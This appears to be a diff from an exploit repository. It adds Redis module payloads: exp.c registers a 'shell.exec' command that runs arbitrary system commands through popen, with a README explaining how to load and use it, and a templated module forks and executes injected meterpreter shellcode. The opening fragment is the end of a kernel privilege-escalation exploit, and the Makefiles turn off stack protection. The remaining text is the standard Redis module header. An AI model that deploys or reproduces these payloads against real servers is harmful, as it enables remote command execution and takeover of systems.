if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
printf(" [+] NOT Vulnerable :-(\n");
exit(1);
} else
printf(" [+] Vulnerable :-)\n");
// Prepare the values we'll need to restore the kernel to a stable state
printf("[*] Resolving kernel addresses...\n");
Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
Xill_ptr = (uintptr_t)get_symaddr("Xill");
Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
// doeet!
trigger();
return 0;
}
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=./
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=./rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil module.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
module.so: module.o
$(LD) -o $@ module.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+35
View File
@@ -0,0 +1,35 @@
#set environment variable RM_INCLUDE_DIR to the location of redismodule.h
ifndef RM_INCLUDE_DIR
RM_INCLUDE_DIR=../
endif
ifndef RMUTIL_LIBDIR
RMUTIL_LIBDIR=../rmutil
endif
# find the OS
uname_S := $(shell sh -c 'uname -s 2>/dev/null || echo not')
# Compile flags for linux / osx
ifeq ($(uname_S),Linux)
SHOBJ_CFLAGS ?= -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -shared -Bsymbolic
else
SHOBJ_CFLAGS ?= -dynamic -fno-common -g -ggdb
SHOBJ_LDFLAGS ?= -bundle -undefined dynamic_lookup
endif
CFLAGS = -I$(RM_INCLUDE_DIR) -Wall -g -fPIC -lc -lm -std=gnu99 -fno-stack-protector -z execstack
CC=gcc
all: rmutil exp.so
rmutil: FORCE
$(MAKE) -C $(RMUTIL_LIBDIR)
exp.so: exp.o
$(LD) -o $@ exp.o $(SHOBJ_LDFLAGS) $(LIBS) -L$(RMUTIL_LIBDIR) -lrmutil -lc -z execstack
clean:
rm -rf *.xo *.so *.o
FORCE:
+47
View File
@@ -0,0 +1,47 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 2) {
size_t cmd_len;
size_t size = 1024;
char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
FILE *fp = popen(cmd, "r");
char *buf, *output;
buf = (char *)malloc(size);
output = (char *)malloc(size);
while ( fgets(buf, sizeof(buf), fp) != 0 ) {
if (strlen(buf) + strlen(output) >= size) {
output = realloc(output, size<<2);
size <<= 1;
}
strcat(output, buf);
}
RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
RedisModule_ReplyWithString(ctx, ret);
pclose(fp);
} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,"shell",1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "shell.exec",
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
BIN
View File
Binary file not shown.
+23
View File
@@ -0,0 +1,23 @@
## Intro
This is a compiled shared object file of redis module.
## Load redis extension
```
MODULE load ./exp.so
```
## Run command
```
redis-cli
127.0.0.1:6379> shell.exec "whoami"
```
## Compile
You can modify the exp.c source code if you want.
And the compile it to exp.so in current directory.
```
make
```
+38
View File
@@ -0,0 +1,38 @@
#include "redismodule.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
pid_t child_pid = fork();
if (child_pid == 0)
{
// Your meterpreter shell here
<%= buf %>
int (*ret)() = (int(*)())buf;
ret();
}
else
{wait(NULL);}
return REDISMODULE_OK;
}
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
== REDISMODULE_ERR) return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
return REDISMODULE_OK;
}
+509
View File
@@ -0,0 +1,509 @@
#ifndef REDISMODULE_H
#define REDISMODULE_H
#include <sys/types.h>
#include <stdint.h>
#include <stdio.h>
/* ---------------- Defines common between core and modules --------------- */
/* Error status return values. */
#define REDISMODULE_OK 0
#define REDISMODULE_ERR 1
/* API versions. */
#define REDISMODULE_APIVER_1 1
/* API flags and constants */
#define REDISMODULE_READ (1<<0)
#define REDISMODULE_WRITE (1<<1)
#define REDISMODULE_LIST_HEAD 0
#define REDISMODULE_LIST_TAIL 1
/* Key types. */
#define REDISMODULE_KEYTYPE_EMPTY 0
#define REDISMODULE_KEYTYPE_STRING 1
#define REDISMODULE_KEYTYPE_LIST 2
#define REDISMODULE_KEYTYPE_HASH 3
#define REDISMODULE_KEYTYPE_SET 4
#define REDISMODULE_KEYTYPE_ZSET 5
#define REDISMODULE_KEYTYPE_MODULE 6
/* Reply types. */
#define REDISMODULE_REPLY_UNKNOWN -1
#define REDISMODULE_REPLY_STRING 0
#define REDISMODULE_REPLY_ERROR 1
#define REDISMODULE_REPLY_INTEGER 2
#define REDISMODULE_REPLY_ARRAY 3
#define REDISMODULE_REPLY_NULL 4
/* Postponed array length. */
#define REDISMODULE_POSTPONED_ARRAY_LEN -1
/* Expire */
#define REDISMODULE_NO_EXPIRE -1
/* Sorted set API flags. */
#define REDISMODULE_ZADD_XX (1<<0)
#define REDISMODULE_ZADD_NX (1<<1)
#define REDISMODULE_ZADD_ADDED (1<<2)
#define REDISMODULE_ZADD_UPDATED (1<<3)
#define REDISMODULE_ZADD_NOP (1<<4)
/* Hash API flags. */
#define REDISMODULE_HASH_NONE 0
#define REDISMODULE_HASH_NX (1<<0)
#define REDISMODULE_HASH_XX (1<<1)
#define REDISMODULE_HASH_CFIELDS (1<<2)
#define REDISMODULE_HASH_EXISTS (1<<3)
/* Context Flags: Info about the current context returned by
* RM_GetContextFlags(). */
/* The command is running in the context of a Lua script */
#define REDISMODULE_CTX_FLAGS_LUA (1<<0)
/* The command is running inside a Redis transaction */
#define REDISMODULE_CTX_FLAGS_MULTI (1<<1)
/* The instance is a master */
#define REDISMODULE_CTX_FLAGS_MASTER (1<<2)
/* The instance is a slave */
#define REDISMODULE_CTX_FLAGS_SLAVE (1<<3)
/* The instance is read-only (usually meaning it's a slave as well) */
#define REDISMODULE_CTX_FLAGS_READONLY (1<<4)
/* The instance is running in cluster mode */
#define REDISMODULE_CTX_FLAGS_CLUSTER (1<<5)
/* The instance has AOF enabled */
#define REDISMODULE_CTX_FLAGS_AOF (1<<6)
/* The instance has RDB enabled */
#define REDISMODULE_CTX_FLAGS_RDB (1<<7)
/* The instance has Maxmemory set */
#define REDISMODULE_CTX_FLAGS_MAXMEMORY (1<<8)
/* Maxmemory is set and has an eviction policy that may delete keys */
#define REDISMODULE_CTX_FLAGS_EVICT (1<<9)
/* Redis is out of memory according to the maxmemory flag. */
#define REDISMODULE_CTX_FLAGS_OOM (1<<10)
/* Less than 25% of memory available according to maxmemory. */
#define REDISMODULE_CTX_FLAGS_OOM_WARNING (1<<11)
#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */
#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */
#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */
#define REDISMODULE_NOTIFY_SET (1<<5) /* s */
#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */
#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */
#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */
#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */
#define REDISMODULE_NOTIFY_STREAM (1<<10) /* t */
#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED | REDISMODULE_NOTIFY_STREAM) /* A */
/* A special pointer that we can use between the core and the module to signal
* field deletion, and that is impossible to be a valid pointer. */
#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1)
/* Error messages. */
#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value"
#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0)
#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0)
/* Cluster API defines. */
#define REDISMODULE_NODE_ID_LEN 40
#define REDISMODULE_NODE_MYSELF (1<<0)
#define REDISMODULE_NODE_MASTER (1<<1)
#define REDISMODULE_NODE_SLAVE (1<<2)
#define REDISMODULE_NODE_PFAIL (1<<3)
#define REDISMODULE_NODE_FAIL (1<<4)
#define REDISMODULE_NODE_NOFAILOVER (1<<5)
#define REDISMODULE_CLUSTER_FLAG_NONE 0
#define REDISMODULE_CLUSTER_FLAG_NO_FAILOVER (1<<1)
#define REDISMODULE_CLUSTER_FLAG_NO_REDIRECTION (1<<2)
#define REDISMODULE_NOT_USED(V) ((void) V)
/* This type represents a timer handle, and is returned when a timer is
* registered and used in order to invalidate a timer. It's just a 64 bit
* number, because this is how each timer is represented inside the radix tree
* of timers that are going to expire, sorted by expire time. */
typedef uint64_t RedisModuleTimerID;
/* ------------------------- End of common defines ------------------------ */
#ifndef REDISMODULE_CORE
typedef long long mstime_t;
/* Incomplete structures for compiler checks but opaque access. */
typedef struct RedisModuleCtx RedisModuleCtx;
typedef struct RedisModuleKey RedisModuleKey;
typedef struct RedisModuleString RedisModuleString;
typedef struct RedisModuleCallReply RedisModuleCallReply;
typedef struct RedisModuleIO RedisModuleIO;
typedef struct RedisModuleType RedisModuleType;
typedef struct RedisModuleDigest RedisModuleDigest;
typedef struct RedisModuleBlockedClient RedisModuleBlockedClient;
typedef struct RedisModuleClusterInfo RedisModuleClusterInfo;
typedef struct RedisModuleDict RedisModuleDict;
typedef struct RedisModuleDictIter RedisModuleDictIter;
typedef int (*RedisModuleCmdFunc)(RedisModuleCtx *ctx, RedisModuleString **argv, int argc);
typedef void (*RedisModuleDisconnectFunc)(RedisModuleCtx *ctx, RedisModuleBlockedClient *bc);
typedef int (*RedisModuleNotificationFunc)(RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key);
typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver);
typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value);
typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value);
typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value);
typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value);
typedef void (*RedisModuleTypeFreeFunc)(void *value);
typedef void (*RedisModuleClusterMessageReceiver)(RedisModuleCtx *ctx, const char *sender_id, uint8_t type, const unsigned char *payload, uint32_t len);
typedef void (*RedisModuleTimerProc)(RedisModuleCtx *ctx, void *data);
#define REDISMODULE_TYPE_METHOD_VERSION 1
typedef struct RedisModuleTypeMethods {
uint64_t version;
RedisModuleTypeLoadFunc rdb_load;
RedisModuleTypeSaveFunc rdb_save;
RedisModuleTypeRewriteFunc aof_rewrite;
RedisModuleTypeMemUsageFunc mem_usage;
RedisModuleTypeDigestFunc digest;
RedisModuleTypeFreeFunc free;
} RedisModuleTypeMethods;
#define REDISMODULE_GET_API(name) \
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
#define REDISMODULE_API_FUNC(x) (*x)
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
RedisModuleDict *REDISMODULE_API_FUNC(RedisModule_CreateDict)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_FreeDict)(RedisModuleCtx *ctx, RedisModuleDict *d);
uint64_t REDISMODULE_API_FUNC(RedisModule_DictSize)(RedisModuleDict *d);
int REDISMODULE_API_FUNC(RedisModule_DictSetC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplaceC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictSet)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
int REDISMODULE_API_FUNC(RedisModule_DictReplace)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
void *REDISMODULE_API_FUNC(RedisModule_DictGetC)(RedisModuleDict *d, void *key, size_t keylen, int *nokey);
void *REDISMODULE_API_FUNC(RedisModule_DictGet)(RedisModuleDict *d, RedisModuleString *key, int *nokey);
int REDISMODULE_API_FUNC(RedisModule_DictDelC)(RedisModuleDict *d, void *key, size_t keylen, void *oldval);
int REDISMODULE_API_FUNC(RedisModule_DictDel)(RedisModuleDict *d, RedisModuleString *key, void *oldval);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStartC)(RedisModuleDict *d, const char *op, void *key, size_t keylen);
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStart)(RedisModuleDict *d, const char *op, RedisModuleString *key);
void REDISMODULE_API_FUNC(RedisModule_DictIteratorStop)(RedisModuleDictIter *di);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseekC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseek)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
void *REDISMODULE_API_FUNC(RedisModule_DictNextC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
void *REDISMODULE_API_FUNC(RedisModule_DictPrevC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictNext)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictPrev)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
int REDISMODULE_API_FUNC(RedisModule_DictCompareC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
int REDISMODULE_API_FUNC(RedisModule_DictCompare)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
/* Experimental APIs */
#ifdef REDISMODULE_EXPERIMENTAL_API
#define REDISMODULE_EXPERIMENTAL_API_VERSION 3
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(RedisModuleCtx*,void*), long long timeout_ms);
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientHandle)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
int REDISMODULE_API_FUNC(RedisModule_BlockedClientDisconnected)(RedisModuleCtx *ctx);
void REDISMODULE_API_FUNC(RedisModule_RegisterClusterMessageReceiver)(RedisModuleCtx *ctx, uint8_t type, RedisModuleClusterMessageReceiver callback);
int REDISMODULE_API_FUNC(RedisModule_SendClusterMessage)(RedisModuleCtx *ctx, char *target_id, uint8_t type, unsigned char *msg, uint32_t len);
int REDISMODULE_API_FUNC(RedisModule_GetClusterNodeInfo)(RedisModuleCtx *ctx, const char *id, char *ip, char *master_id, int *port, int *flags);
char **REDISMODULE_API_FUNC(RedisModule_GetClusterNodesList)(RedisModuleCtx *ctx, size_t *numnodes);
void REDISMODULE_API_FUNC(RedisModule_FreeClusterNodesList)(char **ids);
RedisModuleTimerID REDISMODULE_API_FUNC(RedisModule_CreateTimer)(RedisModuleCtx *ctx, mstime_t period, RedisModuleTimerProc callback, void *data);
int REDISMODULE_API_FUNC(RedisModule_StopTimer)(RedisModuleCtx *ctx, RedisModuleTimerID id, void **data);
int REDISMODULE_API_FUNC(RedisModule_GetTimerInfo)(RedisModuleCtx *ctx, RedisModuleTimerID id, uint64_t *remaining, void **data);
const char *REDISMODULE_API_FUNC(RedisModule_GetMyClusterID)(void);
size_t REDISMODULE_API_FUNC(RedisModule_GetClusterSize)(void);
void REDISMODULE_API_FUNC(RedisModule_GetRandomBytes)(unsigned char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_GetRandomHexChars)(char *dst, size_t len);
void REDISMODULE_API_FUNC(RedisModule_SetDisconnectCallback)(RedisModuleBlockedClient *bc, RedisModuleDisconnectFunc callback);
void REDISMODULE_API_FUNC(RedisModule_SetClusterFlags)(RedisModuleCtx *ctx, uint64_t flags);
#endif
/* This is included inline inside each Redis module. */
